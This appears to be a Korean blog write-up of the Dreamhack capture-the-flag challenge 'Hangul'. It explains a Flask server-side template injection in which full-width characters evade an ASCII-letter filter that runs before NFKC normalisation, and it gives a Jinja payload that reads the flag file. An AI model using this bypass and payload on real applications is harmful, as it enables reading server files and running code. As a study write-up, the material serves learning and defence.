https://dreamhack.io/wargame/challenges/1847
Hangul
Description플래그 파일은 플래그의 형식은 WaRP{...}입니다.
dreamhack.io
from flask import Flask, request, render_template_string
import re
import unicodedata
app = Flask(__name__)
# 페이지에서 사용자 입력을 출력하는 부분
@app.route("/", methods=["GET", "POST"])
def index():
message = ""
if request.method == "POST":
message = request.form["message"]
if re.search("[a-zA-Z]", message):
message = "한글을 사용합시다!"
message = unicodedata.normalize("NFKC", message) # for normalize Windows and Mac Hangul implementation
return render_template_string('''
<form method="POST">
Message: <input type="text" name="message">
<input type="submit">
</form>
<p>Repeat your message:</p>
<div>%s</div>
''' % message)
if __name__ == "__main__":
app.run(host="0.0.0.0", port=5000)
플래그 파일은 /home/hangul/flag에 있다고 한다.
re.search("[a-zA-Z]", message) 입력에 ASCII 영문자가 하나라도 있으면 지정 문자열로 바꾸어 버린다.
% message 문자열 포매팅으로 템플릿 문자열 안에 그대로 끼워 넣어 렌더링한다.

서버에 접속하면 이렇게 문자열을 입력할 수 있는 칸이 주어진다.

코드로 보아, 한글을 입력하면 그대로 출력하는 것 같고, 영어를 입력하면 지정된 문자열이 출력된다.
사용자가 준 값을 템플릿에 그대로 삽입하고 있기 때문에, jinja 표현식을 넣으면 최종 html에 그대로 들어간다.
영문자 필터가 정규화보다 먼저 일어나서, 풀와이드 영문으로 필터를 우회할 수 있다.
필터 우회 -> 정규화로 ASCII 변환 -> SSTI 실행
전각은 영문이나 숫자 같은 문자를 한글, 한자와 같은 2바이트 폭으로 표시하는 형태이다.
보통 ASCII 알파벳/숫자는 반각으로 표시되는데, 전각은 각 글자가 더 넓어서 모양이 다르다.
정규식은 반각 알파벳만 잡아내고 있기 때문에 이 점을 이용했다.

도커 파일을 살펴보면,
chmod 755 /home/$user/flag 모두 읽기가 가능한 상태이다.
USER $user hangul 권한으로 Flask가 뜨고 당연히 /home/hangul/flag도 읽을 수 있다.
SSTI + 전각 우회 페이로드로 그대로 파일 읽기를 시도할 수 있다.
{{ config.__class__.__init__.__globals__['__builtins__']['open']('/home/hangul/flag').read() }}

이렇게 플래그가 출력되는 것을 볼 수 있다.
'해킹 스터디' 카테고리의 다른 글
| [Dreamhack] Grand Theft Auto (0) | 2025.08.24 |
|---|---|
| [Dreamhack] Not-only (0) | 2025.08.15 |
| [Dreamhack] I LOVE XSS! (0) | 2025.08.10 |
| [Dreamhack] node-serialize (0) | 2025.08.10 |
| [Dreamhack] Secure Secret (3) | 2025.08.03 |
